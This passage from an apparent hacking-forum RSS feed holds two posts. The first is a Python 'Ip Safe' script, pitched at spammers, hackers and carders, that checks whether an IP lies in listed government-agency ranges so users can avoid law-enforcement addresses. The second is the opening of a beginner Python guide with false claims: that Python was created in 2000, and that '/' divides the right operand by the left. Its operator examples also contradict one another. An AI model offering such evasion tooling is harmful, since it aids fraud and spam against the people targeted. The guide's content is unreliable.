&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(ip + " falls in range.")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isSafe = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if isSafe:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(ip + " is safe.")<br />
<br />
main()</code></div></div>]]></description>
			<content:encoded><![CDATA[Ip Safe Python Script<br />
<br />
Good for Spammers Hackers Carders Pentesters<br />
<br />
2 Files Save in 1 Folder<br />
<br />
file save :- ipsafe.py<br />
file save :- agencies.xml<br />
<br />
save agencies in xml file download link :- <a href="http://paste.security-portal.cz/view/raw/ce5f260f" target="_blank" rel="noopener" class="mycode_url">http://paste.security-portal.cz/view/raw/ce5f260f</a><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>import sys<br />
import xml.etree.ElementTree as et<br />
<br />
class AgencyXmlReader:<br />
&nbsp;&nbsp;&nbsp;&nbsp;def __init__(self, fname):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.xmlDoc = et.parse(fname).getroot()<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def agencies(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;agencies = [];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for agency in self.xmlDoc:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name = agency[0].text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipStart = agency[1].text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipEnd = agency[2].text<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;agencies.append(Agency(name,ipStart,ipEnd))<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return agencies<br />
<br />
<br />
class Agency:<br />
&nbsp;&nbsp;&nbsp;&nbsp;def __init__(self, name, ipStart, ipEnd):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.name = name<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipStart = ipStart<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipEnd = ipEnd<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipStartParts = self._parts(ipStart)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;self.ipEndParts = self._parts(ipEnd)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def name(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return self.name<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def ipStart(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return self.ipStart<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def ipEnd(self):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return self.ipEnd<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def isIpInRange(self,ip):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipParts = self._parts(ip)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;contained=True<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for i in range(0,4):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if self.ipStartParts[i] &lt;= ipParts[i] &lt;= self.ipEndParts[i]:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;contained = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return contained<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;def _parts(self,ip):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return [int(x) for x in ip.split('.')]<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
def main():<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if len(sys.argv) &lt; 2:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("Usage: python ipsafe.py &lt;ip address&gt;")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1)<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ip = sys.argv[1]<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;axr = AgencyXmlReader("agencies.xml")<br />
&nbsp;&nbsp;&nbsp;&nbsp;agencies = axr.agencies()<br />
&nbsp;&nbsp;&nbsp;&nbsp;isSafe = True<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;for agency in agencies:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if agency.isIpInRange(ip):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name = agency.name<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipStart = agency.ipStart<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipEnd = agency.ipEnd<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(ip + " is not safe, because it's controlled by the FBI.")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("The ip is associated with agency " + name + ".")<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print("The agency uses the  following ip range  [" + <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipStart +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" - " +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ipEnd +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"]")<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(ip + " falls in range.")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isSafe = False<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if isSafe:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print(ip + " is safe.")<br />
<br />
main()</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PYTHON GUIDE]]></title>
			<link>https://www.bpcforums.biz/Thread-python-guide</link>
			<pubDate>Wed, 17 Aug 2016 23:36:49 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=17224">redred</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-python-guide</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #1E90FF;" class="mycode_color">Py</span><span style="color: #FFD700;" class="mycode_color">thon</span> <span style="color: #FF6347;" class="mycode_color">Beginner Guide</span></span></span></div>
<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Introduction</span></span><br />
<br />
Python is a interpreted, object-oriented, high-level programming language.<br />
Python was created by Guido van Rossum in the year 2000.<br />
This language is still quite new and is one of the easier languages to learn.<br />
Another really great thing about python is that unlike many programming languages, it does NOT require a semi-colon(";") at the end of every line.<br />
<br />
Despite what most people think you can use Python for alot of different things. For example, you can write python scripts or programs that interact with other computers. <br />
You can use python to make interactive webpages, and python is even used for well known programs and games.<br />
<br />
The reason i created this guide is because the current guides in this subforum are either to limited or outdated.<br />
In this tutorial i am going to show you the basics of python, and hopefully intrigue you in this amazing language.<br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Table of contents</span></span><br />
<ul class="mycode_list"><li>Getting started<br />
</li>
<li>Variables<br />
</li>
<li>Operators<br />
</li>
<li>Logical Statements<br />
</li>
<li>Lists<br />
</li>
<li>Loops<br />
</li>
<li>Functions<br />
</li>
<li>Modules<br />
</li>
<li>Global Variables<br />
</li>
<li>Final words &amp; Credits<br />
</li>
</ul>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Getting started</span></span><br />
<br />
First of all, if you are going to be using python, you have to install the interpreter first.<br />
You can download it from the official python website <a href="https://www.python.org/downloads/" target="_blank" rel="noopener" class="mycode_url"><span style="color: #FFD700;" class="mycode_color">here</span></a>.<br />
I recommend you download and install Python, since Python 2.7.11 is outdated.<br />
<br />
<br />
If you want to write your own Python programs, you need to use an IDE (<span style="font-weight: bold;" class="mycode_b">I</span>ntegrated <span style="font-weight: bold;" class="mycode_b">D</span>evelopment <span style="font-weight: bold;" class="mycode_b">E</span>nvironment)<br />
There are a lot of different IDE's for python, personally i prefer PyCharm.<br />
<br />
If you are not yet familiar with python, i recommend you use JetBrains PyCharm Edu, which you can download for free <a href="https://www.jetbrains.com/pycharm-edu/download/" target="_blank" rel="noopener" class="mycode_url"><span style="color: #FFD700;" class="mycode_color">here</span></a>.<br />
This version of PyCharm offers you a diversity of tutorials, aswell as extra help features.<br />
<br />
If you are familiar with python already, i recommend you use JetBrains Pycharm Community Edition, which you can download for free <a href="https://www.jetbrains.com/pycharm/download" target="_blank" rel="noopener" class="mycode_url"><span style="color: #FFD700;" class="mycode_color">here</span></a>.<br />
This version of PyCharm offers you alot more plugins and features.<br />
<br />
<br />
In python you can add a comment to your code using the hash symbol ('#').<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#This is a comment!</code></div></div><br />
If you wish to have multiple lines of comments, you can enclose the lines of comments using the double quote symbol 3 times.<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>"""<br />
These<br />
Are<br />
Multiple<br />
Lines<br />
Of<br />
Comments<br />
"""</code></div></div><br />
Comments will always be ignored by the interpreter and are usually used to add some notes to a part of the code.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Variables</span></span><br />
<br />
In python, variables are what you use to store values.<br />
The three most important variables in python are:<br />
<ul class="mycode_list"><li>Integer<br />
</li>
</ul>
An integer (int) is a variable where you can store a number that can be written without a fractional component.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 100<br />
b = -50<br />
c = 0</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li>Float <br />
</li>
</ul>
A float is a variable where you can store a number that is written with a fractional component.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 100.42<br />
b = -50.99<br />
c = 0.000</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li>String<br />
</li>
</ul>
An string is a variable where you can store characters if you enclose them in quotes.<br />
Python treats single quotes the same as double quotes.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = "Hello"<br />
b = "World"<br />
c = "!"</code></div></div></div></div></div></tag><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Operators</span></span><br />
<br />
<br />
Python has a lot of different operators, such as <span style="color: #FFD700;" class="mycode_color">mathematicial operators</span> and <span style="color: #FFD700;" class="mycode_color">comparison(logical) operators</span>.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Here is a list of some of the <span style="color: #FFD700;" class="mycode_color">mathematical operators</span> python uses.</span><br />
<br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">+</span> <br />
</li>
</ul>
This operator adds the value's on both sides of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a + b = 20</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li>
  <br />
</li>
<li><span style="color: #FF0000;" class="mycode_color">-</span><br />
</li>
</ul>
This operator substracts the value on the right side of the operator from the value on the left side of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a - b = 10</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">*</span><br />
</li>
</ul>
This operator multiplies the values of on both sides of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a * b = 100</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">/</span><br />
</li>
</ul>
This operator divides the value on the right side of the operator by the value on the left side of the operator.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a / b = 1</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">%</span><br />
</li>
</ul>
This operator divides the value on the right side of the operator by the value on the left side of the operator <span style="font-weight: bold;" class="mycode_b">and returns the remainder</span>.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a % b = 0</code></div></div></div></div></div></tag><br />
<br />
<br />
<span style="font-size: medium;" class="mycode_size">Here is a list of some of the <span style="color: #FFD700;" class="mycode_color">comparison operators</span> python uses.<br />
These are the operators you will be using when you are working with while statements and for loops etc.</span><br />
<br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">==</span><br />
</li>
</ul>
If the value of both operands are equal, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a == b:<br />
    print("a is equal to b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">!=</span><br />
</li>
</ul>
If the value of both operands are not equal, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a != b:<br />
    print("a is not equal to b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&gt;</span><br />
</li>
</ul>
If the value of the left operand is greater then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &gt; b:<br />
    print("a is bigger then b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&lt;</span><br />
</li>
</ul>
If the value of the left operand is less then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &lt; b:<br />
    print("a is smaller then b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&gt;=</span><br />
</li>
</ul>
If the value of the left operand is equal to or bigger then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &gt;= b:<br />
    print("a is equal or bigger then b")</code></div></div></div></div></div></tag><br />
<ul class="mycode_list"><li><span style="color: #FF0000;" class="mycode_color">&lt;=</span><br />
</li>
</ul>
If the value of the left operand is equal or less then the value of the right operand, then the condition becomes true.<br />
Example:<br />
<tag><div style="margin:20px; margin-top:5px"><div class="smallfont" style="margin-bottom:2px"><strong>Spoiler : </strong> <input type="button" value="Show" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }"></div><div class="trow2" style="margin: 0px; padding: 6px; border: 0px inset;"><div style="display: none;">
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>if a &lt;= b:<br />
    print("a is equal or smaller then b")</code></div></div></div></div></div></tag><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-size: xx-large;" class="mycode_size"><span style="color: #1E90FF;" class="mycode_color">-----------------------------------</span><span style="color: #FFD700;" class="mycode_color">-----------------------------------</span></span></div>
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #FFD700;" class="mycode_color">Logical Statements</span></span><br />
<br />
<br />
Logical statements are <span style="color: #FFD700;" class="mycode_color">also known as if/else statements</span>.<br />
They are statements that check whether the conditions are true or false.<br />
In these statements we are going to use the comparison operators we just discussed.<br />
<br />
A common mistake i made when i started out with Python was forgetting to add the ':' after the If statement line. <br />
Don't forget to add this, if you don't the statement won't work and you will get an error.<br />
<br />
Example:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>a = 10<br />
b = 10<br />
<br />
if a == b:<br />
    print("a is equal to b")<br />
else:<br />
